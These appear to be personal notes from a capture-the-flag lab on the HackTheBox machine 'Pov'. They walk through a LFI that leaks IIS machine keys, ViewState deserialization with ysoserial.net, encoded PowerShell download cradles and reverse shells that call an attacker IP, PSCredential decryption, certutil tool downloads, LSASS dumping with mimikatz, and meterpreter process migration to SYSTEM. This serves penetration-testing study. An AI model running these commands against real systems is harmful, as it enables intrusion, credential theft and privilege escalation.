# Lessons Learned - Try to expose `\inetpub\wwwroot\web.config` for context - Prepare revshell HTTP cradle with `iconv` and `base64`, then run with `powershell` - Rationale behind using an HTTP cradle: We have feedback as to whether our HTTP server was hit; this provides some AV related intelligence when the HTTP server is triggered but no revshell ```bash echo "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.197:8000/shell.ps1')" | iconv -t utf-16le | base64 -w 0 ``` ```powershell powershell -enc above_output ``` - Decrypt a `PSCredential` ```powershell $PSCredential = Import-CliXml -Path cred_file $PSCredential.GetNetworkCredential().Password ``` - When we have the `SeDebugPrivilege` generate a `meterpreter` session to easily migrate to a process that runs as `SYSTEM` > GG - Candidate processes running as `SYSTEM`: `lsass`, `winlogon`, `vmtoolsd` --- # After-Action Attack Sequence - BLUF: LFI to expose `web.config`, IIS deserialization attack to inject a malicious `viewstate` parameter, abuse `SeDebugPrivilege` by migrating to a process running as `SYSTEM` - Find hint wrt the existence of `dev.pov.htb` on `pov.htb` - `dev.pov.htb` has a downloadable CV and a contact form - both of which send POST requests - Perform LFI on the CV related POST to expose `\inetpub\wwwroot\web.config` - Merely a filter in `..\` without recursion - This exposes a machine key with a decryption key and a validation key - Prepare a revshell HTTP cradle by converting to UTF-16 LE and base64 - Then, leverage `ysoserial.exe` on Windows host to create a `viewstate` payload with the revshell HTTP cradle ```powershell echo "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.197:8000/shell.ps1')" | iconv -t utf-16le | base64 -w 0 ``` - This provides a shell as `pov\sfitz` - We find `connection.xml` in `\users\sfitz\documents` with a `PSCredential` for `pov\alaading` - Decrypt the `PSCredential` for `pov\alaading` - Leverage `RunasCs.exe` to pop a revshell as `pov\alaading` - We have the `SeDebugPrivilege` - Create a `meterpreter` payload with `msfvenom` to gain a `meterpreter` session - From here we can abuse the `SeDebugPrivilege` by simply migrating to a process running as `SYSTEM` --- # Discover Ports & Services - `ping` test ![[images/Pasted image 20260405192605.png]] - Windows host based on TTL value - `nmap` scan - light ![[images/Pasted image 20260405192635.png]] - `nmap` scan - detailed ![[images/Pasted image 20260405192916.png]] - `nmap` scan - UDP ![[images/Pasted image 20260405192821.png]] --- # Port 80 (http) Enum: IIS 10.0 ## `pov.htb` - Visit page - Bottom of page has some interesting info such as an admin email, `dev.pov.htb`, and contact us ![[images/Pasted image 20260405193504.png]] - Add to `/etc/hosts` - View source for contact us ![[images/Pasted image 20260405193535.png]] - request:response in `burp` ![[images/Pasted image 20260405193306.png]] - Try `robots.txt` and `sitemap.xml` > nothing, both default 404s - Try `index.html` and `index.php` - html brings me to the home page, php throws a 404 - think this is because the IIS webserver is using `asp.net` - Try random page > default 404 - Test submittal to contact us ![[images/Pasted image 20260405195419.png]] - Literally nothing happens > no http request ## `dev.pov.htb` - Visit page ![[images/Pasted image 20260405194551.png]] - View source ![[images/Pasted image 20260405195923.png]]![[images/Pasted image 20260405194700.png]] - Only unique page is `dev.pov.htb/portfolio/contact.aspx`; the rest have a # meaning they are sections of the home page - Interesting to see `dev.pov.htb:8080` > we did not see 8080 open with initial `nmap` scan - follow-up `nmap` scan after seeing indication of port 8080 ![[images/Pasted image 20260405195845.png]] - when we try visiting `dev.pov.htb:8080`, it hangs - request:response in `burp` ![[images/Pasted image 20260405194810.png]] - redirects us to `dev.pov.htb/portfolio` - Able to download CV ![[images/Pasted image 20260405200058.png]] - View request:response in `burp` ![[images/Pasted image 20260406191033.png]] - View `dev.pov.htb/portfolio/contact.aspx` ![[images/Pasted image 20260405195107.png]] - Try a test submittal ![[images/Pasted image 20260405195245.png]] - interesting `burp` request:response with a POST ![[images/Pasted image 20260405195732.png]] ## Web fuzzing - Vhost fuzzing: start here because we already knows that `dev.pov.htb` exists - `top1million-20000` ![[images/Pasted image 20260405200402.png]] - Subdomain fuzzing - `top1million-20000` ![[images/Pasted image 20260405200737.png]] - Directory fuzzing - `dev.pov.htb` - `raft-medium` ![[images/Pasted image 20260405201915.png]] - `2.3-medium` ![[images/Pasted image 20260405201759.png]] - Why did we not pickup portfolio? - It should be in there ![[images/Pasted image 20260405202144.png]] - Must be the redirect - `raft-medium` > try again with `-fw 9` ![[images/Pasted image 20260405202932.png]] - `feroxbuster` on `dev.pov.htb` > not much found ![[images/Pasted image 20260405204522.png]] - `pov.htb` > `2.3-medium` ![[images/Pasted image 20260405201426.png]] - Page fuzzing - `dev.pov.htb/portfolio/FUZZ.aspx` ![[images/Pasted image 20260405202900.png]] ## Revisit CV - Send POST associated with the CV download to repeater - Try `....//....//web.config` ![[images/Pasted image 20260406191508.png]] - Clearly there is no recursive filtering only a filter on `../` - Try `....//web.config` ![[images/Pasted image 20260406191603.png]] - This leaks a decryption key and a validation key --- # Foothold: Deserialization Attack Against ViewState Parameter ## Test with `ping` - [pwntester/ysoserial.net: Deserialization payload generator for a variety of .NET formatters](https://github.com/pwntester/ysoserial.net) - Includes a plugin for generating an XML payload for `MachineKey` ![[images/Pasted image 20260406192639.png]] - View examples for the `viewstate` plugin ```powershell .\ysoserial.exe -p viewstate --examples ``` ![[images/Pasted image 20260406193439.png]] - Prepare test command with `ping` ```cmd .\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "ping 10.10.14.197" ``` - Start `tcpdump` ```bash sudo tcpdump -n -i tun0 icmp ``` - Insert output into POST `viewstate` parameter and send request ![[images/Pasted image 20260406194241.png]] - Observe `tcpdump` > we got some pings ![[images/Pasted image 20260406194236.png]] ## `Revshell` - First, grab a `nishang` one-liner like `Invoke-PowerShellTcpOneLine.ps1` ![[images/Pasted image 20260406194800.png]] - Insert our IP and port ![[images/Pasted image 20260406194950.png]] - Now serve up the `nishang` one-liner ![[images/Pasted image 20260406195117.png]] - Setup listener ![[images/Pasted image 20260406195446.png]] ### Attempt 1: `IEX(IWR)` - Prepare command with `IEX (IWR)` ```bash echo "IEX (IWR http://10.10.14.197:8000/shell.ps1)" | iconv -t utf-16le | base64 -w 0 ``` ![[images/Pasted image 20260406200159.png]] ```cmd .\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell -enc SQBFAFgAIAAoAEkAVwBSACAAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADQALgAxADkANwA6ADgAMAAwADAALwBzAGgAZQBsAGwALgBwAHMAMQApAAoA" ``` - Insert output into POST `viewstate` parameter and send request > hit on http server but no hit on listener ### Attempt 2: `IEX(New-Object Net.WebClient).DownloadString` - Prepare command with `IEX(New-Object Net.WebClient).DownloadString` ```bash echo "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.197:8000/shell.ps1')" | iconv -t utf-16le | base64 -w 0 ``` ![[images/Pasted image 20260406202214.png]] ```cmd .\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADEAOQA3ADoAOAAwADAAMAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQAKAA==" ``` - Insert output into POST `viewstate` parameter and send request ![[images/Pasted image 20260406203411.png]] - Now we have a shell! ![[images/Pasted image 20260406202311.png]] ## Shell as `pov\sfitz` - No user flag ![[images/Pasted image 20260406202618.png]] - View `connection.xml` - We have an encrypted `PSCredential` for `alaading` ![[images/Pasted image 20260406203319.png]] ### Decrypt `PSCredential` for `alaading` - Use method sequence to decrypt `PSCredential` for `alaading` ```powershell $password = convertto-securestring encrypted_password $credential = new-object system.management.automation.pscredential -argumentlist "alaading",$password $credential.getnetworkcredential().password ``` ![[images/Pasted image 20260406210038.png]] - Alternative (simpler) method to decrypt the `PSCredential` for `alaading` ```powershell $PSCredential = Import-CliXml -Path connection.xml $PSCredential.GetNetworkCredential().Password ``` --- # Shell as `pov\alaading` - Use `RunasCs.exe` to open a new revshell as `alaading` ```powershell certutil.exe -urlcache -split -f http://10.10.14.197:8000/RunasCs.exe runascs.exe .\runascs.exe alaading password powershell.exe -r 10.10.14.197:9002 ``` ![[images/Pasted image 20260407195250.png]] ![[images/Pasted image 20260407195305.png]] - We have a shell ![[images/Pasted image 20260407195334.png]] - Check `whoami /all` ![[images/Pasted image 20260407195353.png]] - We have the `SeDebugPrivilege` enabled --- # Privesc: Abuse `SeDebugPrivilege` ## Attempt 1: `procdump` and `mimikatz` targeting LSASS - From here let's move `procdump.exe` and `mimikatz.exe` to the target ```powershell certutil.exe -urlcache -split -f http://10.10.14.197:8000/procdump.exe procdump.exe certutil.exe -urlcache -split -f http://10.10.14.197:8000/mimikatz.exe mimi.exe ``` ![[images/Pasted image 20260407200215.png]] - Now, run `procdump.exe` to dump LSASS ```cmd .\procdump.exe -accepteula -ma lsass.exe lsass.dmp ``` ![[images/Pasted image 20260407200325.png]] - Run `mimikatz.exe` ```cmd .\mimi.exe -q mimikatz # log mimikatz # privilege::debug mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonpasswords ``` ![[images/Pasted image 20260407200541.png]] - Nothing for SYSTEM ## Attempt 2: `psgetsys.ps1` - Move`psgetsys.ps1` to the target ```powershell certutil.exe -urlcache -split -f http://10.10.14.197:8000/psgetsys.ps1 psgetsys.ps1 ``` ![[images/Pasted image 20260407200950.png]] - Run `tasklist` to determine PID of a process running as `SYSTEM` - We could target `lsass`, `winlogon`, or `vmtoolsd` > 2336 ```powershell .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(2236,"c:\windows\system32\cmd.exe","whoami") ``` - Getting errors > this won't work because we are not on an RDP session ![[images/Pasted image 20260407202039.png]] ## Attempt 3: process migration with `msf` - First, create a `meterpreter` payload with `msfvenom` ```bash sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.197 LPORT=9003 -f exe -o meterpreter_shell.exe ``` ![[images/Pasted image 20260407202357.png]] - Move `meterpreter_shell.exe` to target ```powershell certutil.exe -urlcache -split -f http://10.10.14.197:8000/meterpreter_shell.exe shell.exe ``` ![[images/Pasted image 20260407202459.png]] - Setup `exploit/multi/handler` in `msf` and run ![[images/Pasted image 20260407202730.png]] - Execute `shell.exe` on the target ```powershell .\shell.exe ``` - We have a `meterpreter` session ![[images/Pasted image 20260407202959.png]] - Migrate to PID 2336 for `vmtoolsd` like we tried above with `psgetsys.ps1` ![[images/Pasted image 20260407203052.png]] - Drop into a shell and collect the flag ![[images/Pasted image 20260407203124.png]]